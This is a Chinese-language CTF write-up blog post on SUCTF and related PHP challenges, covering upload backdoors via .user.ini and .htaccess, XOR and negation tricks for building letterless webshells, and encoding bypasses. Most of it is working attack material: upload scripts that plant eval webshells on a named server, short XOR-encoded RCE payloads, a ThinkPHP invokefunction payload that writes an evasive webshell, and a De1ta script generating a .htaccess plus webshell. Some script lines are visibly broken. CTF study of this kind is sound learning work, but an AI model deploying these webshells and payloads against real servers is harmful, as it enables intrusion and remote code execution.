Suctf知识记录PHP代码审计，⽆字母数字webshellopen_basedir绕过w。。。
Checkin
.user.ini构成php后门利⽤，设置auto_prepend_file=01.jpg，⾃动在⽂件前包含了01.jpg，利⽤.user.ini和图⽚马实现⽂件包含+图⽚马的利⽤.
⽽.htacess构造后门是通过上传.htaccess设置AddType application/x-httpd-php .jpg，将jpg⽂件作为php解析，getshell
补上脚本:
修改下与easyphp中的可以通⽤
import requests
import base64
url = "47.111.59.243:9021/"
userini = b"""\x00\x00\x8a\x39\x8a\x39
auto_prepend_file = cc.jpg
"""
#shell = b"\x00\x00\x8a\x39\x8a\x39"+b"00"+ base64.b64encode(b"<?php eval($_GET['c']);?>")
shell = b"\x00\x00\x8a\x39\x8a\x39"+b"00" + "<script language='php'>eval($_REQUEST[c]);</script>"
files = [('fileUpload',('.user.ini',userini,'image/jpeg'))]
data = {"upload":"Submit"}
proxies = {"http":"127.0.0.1:8080"}
print("upload .user.ini")
r = requests.post(url=url, data=data, files=files)#proxies=proxies)
)
print("upload cc.jpg")
files = [('fileUpload',('cc.jpg',shell,'image/jpeg'))]
r = requests.post(url=url, data=data, files=files)
)
Easyphp
通过陆队的，了解了⼀些php代码审计的东西。
ISITDTU CTF 2019 EasyPHP
代码如下：
<?php
highlight_file(__FILE__);
$_ = @$_GET['_'];
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )
die('rosé will not do it');
if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
die('you are so close, omg');
eval($_);
>
正则匹配了⼀些字母和数字还有⼀些特殊符号。并且strlen(count_chars(strtolower($_), 0x3)) > 0xd 获取字符中的不同字符数量是否⼤于13.因此需要构造绕过正则并且不同字符的数量<=13个
博主这⾥提供了⼀个⽅法，让我感觉特别的受益=>通过脚本检测可以⽤的内置函数来寻可利⽤的点。（可惜没有easyphp的docker环境）
贴上脚本：
<?php
$arr = get_defined_functions()['internal'];
foreach ($arr as $key => $value) {
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $value) ){
unset($arr[$key]);
continue;
}
if ( strlen(count_chars(strtolower($value), 0x3)) > 0xd ){
unset($arr[$key]);
continue;
}
}
var_dump($arr);
>
array(15) {
[57]=>
string(5) "bcmul"
[329]=>
string(5) "rtrim"
[335]=>
string(4) "trim"
[336]=>
string(5) "ltrim"
[346]=>
string(3) "chr"
[370]=>
string(4) "link"
[371]=>
string(6) "unlink"
[413]=>
string(3) "tan"
[416]=>
string(4) "atan"
[417]=>
string(5) "atanh"
[421]=>
string(4) "tanh"
[521]=>
string(6) "intval"
[665]=>
string(4) "mail"
[706]=>
string(3) "min"
[707]=>
string(3) "max"
}
有⼏个常见的参数chr,trim,intval
bool型转数字chr.拼接
这⾥⾸先的思路是通过!，转变为bool型，然后通过加法使bool型转化为数字型，再chr为字符，通过.连接组成phpinfo()
php > var_dump(!a);
PHP Notice: Use of undefined constant a - assumed 'a' in php shell code on line 1
bool(false)
php > var_dump(!!a);
PHP Notice: Use of undefined constant a - assumed 'a' in php shell code on line 1
bool(true)
在添加⼀个@忽略错误
<?php
var_dump(@a); //string(1) "a"
var_dump(!@a); //bool(false)
var_dump(!!@a); //bool(true)
使⽤加法，会转化为数字型
<?php
var_dump(!!@a + !!@a); //int(2) 1+1
var_dump((!!@a + !!@a) * (!!@a + !!@a + !!@a + !!@a)); //int(6) (1+1)*(1+1+0+1)
使⽤chr转化为字符，.号拼接成phpinfo()，利⽤**次⽅运算快捷。
(chr((!!@a + !!@a) ** (!!@a + !!@a + !!@a + !!@a + !!@a + !!@a + !!@a) - (!!@a + !!@a) ** (!!@a + !!@a + !!@a + !!@a))
.chr((!!@a + !!@a) ** (!!@a + !!@a + !!@a + !!@a + !!@a + !!@a + !!@a) - (!!@a + !!@a + !!@a + !!@a ) * (!!@a + !!@a + !!@a + !!@a + !!@a + !!@a ))
.chr((!!@a + !!@a) ** (!!@a + !!@a + !!@a + !!@a + !!@a + !!@a + !!@a) - (!!@a + !!@a) ** (!!@a + !!@a + !!@a + !!@a))
.chr((!!@a + !!@a) ** (!!@a + !!@a + !!@a + !!@a + !!@a + !!@a + !!@a) - (!!@a + !!@a + !!@a + !!@a ) * (!!@a + !!@a + !!@a + !!@a + !!@a + !!@a ) + !!@a)
.chr((!!@a + !!@a) ** (!!@a + !!@a + !!@a + !!@a + !!@a + !!@a + !!@a) - (!!@a + !!@a) * ((!!@a + !!@a + !!@a) ** (!!@a + !!@a) ))
.chr((!!@a + !!@a) ** (!!@a + !!@a + !!@a + !!@a + !!@a + !!@a + !!@a) - (!!@a + !!@a + !!@a + !!@a ) * (!!@a + !!@a + !!@a + !!@a + !!@a + !!@a ) - !!@a - !!@a)
.chr((!!@a + !!@a) ** (!!@a + !!@a + !!@a + !!@a + !!@a + !!@a + !!@a) - (!!@a + !!@a) ** (!!@a + !!@a + !!@a + !!@a) - !!@a))();
字符：!()*+-.;@achr
但是这⾥需要⽤.来连接，已经已经过滤了.，并且不同字符有16个，长度也不⾏。所以这个思路out。
单异或
['!', '%', '+', '-', '*', '/', '>', '<', '?', '=', ':', '@', '^']
还有这些字符可以使⽤，其中很常见的是^，异或再很多时候都能⽤来绕过。以前我也见过此类的⼀句话马，还收集了⼏个，就是通过异或产⽣需要的字符.
<?php
$number='1';
$strings='phpinfo()';
$a='';
$strings=str_split($strings);
foreach ($strings as $value) {
if(ord($number^$value)<127&&ord($number^$value)>32)
{
echo $value.":".($number^$value)."\n";
}
}
>
p:A
h:Y
p:A
i:X
n:_
f:W
o:^
发现_被过滤了，因此随机异或⼀个，n^4=Z,o^5=Z
这⾥可以⽤trim将int型转化为string型
<?php
var_dump(trim(1));
>
string(1) "1"
因此得到payload:
var_dump(
trim(
(!!@a + !!@a + !!@a + !!@a + !!@a) *
((!!@a + !!@a) ** (!!@a + !!@a + !!@a + !!@a + !!@a + !!@a + !!@a) + (!!@a + !!@a) ** (!!@a + !!@a + !!@a + !!@a + !!@a + !!@a) + !!@a + !!@a + !!@a + !!@a + !!@a + !!@a + !!@a) *
((!!@a + !!@a) ** (!!@a + !!@a + !!@a + !!@a + !!@a + !!@a + !!@a + !!@a+ !!@a+ !!@a) + (!!@a + !!@a) ** (!!@a + !!@a + !!@a + !!@a + !!@a + !!@a + !!@a ) - (!!@a + !!@a) ** (!!@a + !!@a + !!@a + !!@a + !!@a) - !!@a - !!@a- !!@a)
) ^ @AYAXZWZ
);//phpinfo
⼀共使⽤了21个字符，太多了。还需要减少使⽤字符数量。
通过异或查⼀些相同的数字字符出来组⼀起
p: |A ^ 1|B ^ 2|C ^ 3|H ^ 8|I ^ 9|
h: |Q ^ 9|X ^ 0|Y ^ 1|Z ^ 2|
p: |A ^ 1|B ^ 2|C ^ 3|H ^ 8|I ^ 9|
i: |Q ^ 8|X ^ 1|Y ^ 0|Z ^ 3|
n: |V ^ 8|W ^ 9|X ^ 6|Y ^ 7|Z ^ 4|
f: |Q ^ 7|R ^ 4|T ^ 2|U ^ 3|V ^ 0|W ^ 1|
o: |V ^ 9|W ^ 8|X ^ 7|Y ^ 6|Z ^ 5|
payload:
(AYAYYRY^trim(((((!!a+!!a))**((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)))+(((!!a+!!a))**((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)))+(((!!a+!!a))**((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)))+(((!!a+!!a))**((!!a+
正好使⽤了13个字符ARYtim!(+×);
####有⽆注意上⾯的是php版本，并且是(phpinfo)()；执⾏的phpinfo。P神的中有提到过PHP7的新特性，PHP7前⽆法使⽤如此执⾏动态函数。（这样的payload有php版本限制）
多次异或
⾸先多字符异或，是按顺序⼀个⼀个字符异或。
如
(qiqhnin^iiiiibi^hhhhimh)();//phpinfo();
('1111111'^'4444444'^'umulkcj')(); //phpinfo() ⽆法绕过，⾃⼰的尝试，需要全部⽤字符串，get接收默认是字符串类型
经过两次异或得到(phpinfo)();
只⽤了10个字符
⼗六进制异或
我们还可以⽤16进制异或来进⾏字符操作
print_r ^ 0xff -> 0x8f8d96918ba08d -> ((%ff%ff%ff%ff%ff%ff%ff)^(%8f%8d%96%91%8b%a0%8d))
scandir ^ 0xff -> 0x8c9c9e919b968d -> ((%ff%ff%ff%ff%ff%ff%ff)^(%8c%9c%9e%91%9b%96%8d))
. ^ 0xff -> 0xd1 -> ((%ff)^(%d1))
当然也可以不使⽤ 0xff ，使⽤以下 payload 就可以在没有字符限制的时候进⾏列⽬录了：
((%ff%ff%ff%ff%ff%ff%ff)^(%8f%8d%96%91%8b%a0%8d))(((%ff%ff%ff%ff%ff%ff%ff)^(%8c%9c%9e%91%9b%96%8d))(((%ff)^(%d1))));
<?php
$a='print_r';
for($i=0;$i<strlen($a);$i++)
{
echo '%'.dechex((ord(chr(0xff)^$a[$i])));
}
>
%8f%8d%96%91%8b%a0%8d
测试发现，只有当php7时才可以。
取反
这⾥引⽤了P神的，中的取反操作。
echo urlencode(~'phpinfo');
%8F%97%8F%96%91%99%90
由于php7中允许(phpinfo)()这样的形式。因此也可以直接绕过
payload=(~%8F%97%8F%96%91%99%90)();
上⾯的payload⼏乎都是php7下的(phpinfo)()这样格式执⾏的。
原题中：使⽤了这样的payload =>getshell，利⽤的是⼗六进制异或并且urlencode，将0x转化为%
${%A0%B8%BA%AB^%ff%ff%ff%ff}{%A0}();&%A0=get_the_flag
注：
这个payload,+=eval的时候是⽆法执⾏的。虽然PHP⽀持``变量函数（variable-functions）``：通过变量保存⼀个函数的名字，然后在其后附上⼀对⼩括号的形式即可完成对函数的调⽤。但是eval 属于PHP语法构造的⼀部分，并不是⼀个函数，所以不能通过 变量函数 的形式来调⽤（虽然她确实像极了
函数原型）
这样的语法构造还包括：echo，print，unset()，isset()，empty()，include，require，...
CTF ⾥有⼈发的WEB题⽬
<?php
error_reporting(E_ALL^E_NOTICE^E_WARNING);
function GetYourFlag(){
echo file_get_contents("./flag.php");
}
if(isset($_GET['code'])){
$code = $_GET['code'];
//print(strlen($code));
if(strlen($code)>27){
die("Too Long.");
}
if(preg_match('/[a-zA-Z0-9_&^<>"\']+/',$_GET['code'])) {
die("Not Allowed.");
}
@eval($_GET['code']);
}else{
highlight_file(__FILE__);
}
>
最近接触了很多这样的⽂章和题⽬，⽐如或者和
这⾥我截取P神的⽂章
PHP7前是不允许⽤($a)()；这样的⽅法来执⾏动态函数的，但PHP7中增加了对此的⽀持。所以，我们可以通过('phpinfo')()；来执⾏函数，第⼀个括号中可以是任意PHP表达式。
<?php
echo urlencode(~('phpinfo'));
>
%8F%97%8F%96%91%99%90
取反尝试:
<?php
echo urlencode(~('GetYourFlag'));
>
getflag
Suctf中的正则
可以执⾏的payload:
${"`{{{"^"?<>/"}['+']();&+=get_the_flag
因为${}中的代码是可以执⾏的
⽽字符串拼接成的不具有函数的执⾏特性
<?php
$_GET['a']='woaini';
$a="`{{{"^"?<>/";
$b='$'.$a.'["a"]';
echo $b;
>
$_GET["a"]
⽽${}
<?php
$_GET['a']='woaini';
var_dump(${"`{{{"^"?<>/"});
>
array(1) {
["a"]=>
string(6) "woaini"
}
${}像可变变量⼀样的⽅式。
免杀马
s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=@file_put_contents(base64_decode(MTI1ODQucGhw),base64_decode(b2suPD9waHAgJHsiYHt7eyJeIj88Pi8ifVthXSgkX1BPU1RbeF0pOzs7)) ok.<?php ${"`{{{"^"?<>/"}[a]($_POST[x]);;;
利⽤了call_user_func_array回调函数，将assert作为函数，后⾯的@file_put_contents作为函数⾥的参数。因此成功写⼊。
<?php ${"`{{{"^"?<>/"}['a']($_POST['x']);
可以给a传值为assert，x传值为eval(rce)来获得马⼉的效果.
Easyweb复现
复现环境:buuctf
考点：
Php的经典特性“Use of undefined constant”，会将代码中没有引号的字符都⾃动作为字符串，7.2开始提出要被废弃，不过⽬前还存在着。
Ascii码⼤于 0x7F 的字符都会被当作字符串，⽽和 0xFF 异或相当于取反，可以绕过被过滤的取反符号。
因此可以以异或的⽅式
_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag
源代码:
<?php
function get_the_flag(){
// webadmin will remove your upload file every 20 min
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
php8兼容php7吗if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}
$hhh = @$_GET['_'];
if (!$hhh){
highlight_file(__FILE__);
}
if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}
if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');
$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");
eval($hhh);
>
就是easyphp后续，将整个复现完成。
这次通过⼗六进制异或来完成
php脚本:
<?php
for($i=0;$i<255;$i++){
$t = chr($i)^chr(255);
if($t == $argv[1]){
echo dechex($i);
break;
}
}
获得异或字符:
%A0%B8%BA%AB^%FF%FF%FF%FF
检测payload：
_=${%A0%B8%BA%AB^%FF%FF%FF%FF}{%FF}();&%FF=phpinfo
传⼊get_the_flag然后上传⽂件
我们看到这⾥是apache，我们可以上传⽂件，再通过.htaccess来改变解析，使⾃定义后缀解析为php。
这⾥的绕过参照checkin，⽂件头绕过exif_imagetype
但是最难过的是对<?的过滤
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
这⾥我提供两种⽅法（均参照⼤佬博客）
第⼀种
通过编码绕过<?的过滤，此处为De1ta的脚本
SIZE_HEADER = b"\n\n#define width 1337\n#define height 1337\n\n"
def generate_php_file(filename, script):
phpfile = open(filename, 'wb')
phpfile.de('utf-16be')) //以utf-16be的编码⽅式绕过<?
phpfile.write(SIZE_HEADER)
phpfile.close()
def generate_htacess():
htaccess = open('.htaccess', 'wb')
htaccess.write(SIZE_HEADER)
htaccess.write(b'AddType application/x-httpd-php .south\n')
htaccess.write(b'php_value zend.multibyte 1\n') //启⽤多字节编码的源⽂件解析
htaccess.write(b'php_value zend.detect_unicode 1\n')
htaccess.write(b'php_value display_errors 1\n')
htaccess.close()
generate_htacess()
generate_php_file("webshell.south", "<?php eval($_GET['cmd']); die(); ?>")
通过不同的编码绕过<?的过滤
这⾥再说⼀下mb_strops和strops的区别
strpos()返回的按字节返回的位置，mb_strpos()是按字数返回的位置
<?php
header("Content–type:text/html;chartset=utf-8");
$str = '飞鸟慕鱼博客feiniaomy';
echo strpos($str,'博客');
echo '<br/>';
echo mb_strpos($str,'博客');
>
输出结果：12 4
1. strpos()按字节返回，⼀个汉字三个字节，并从0开始，所以为12
2. mb_strpos()按字数返回，并从0开始的，所以返回的是4
第⼆种
来此于，这个脚本可以直接修改下，运⽤到checkin
import requests
import base64
url = "47.111.59.243:9001/?_=${%fe%fe%fe%fe^%a1%b9%bb%aa}{%fe}();&%fe=get_the_flag"
版权声明：本站内容均来自互联网，仅供演示用，请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198，我们将在24小时内删除。
发表评论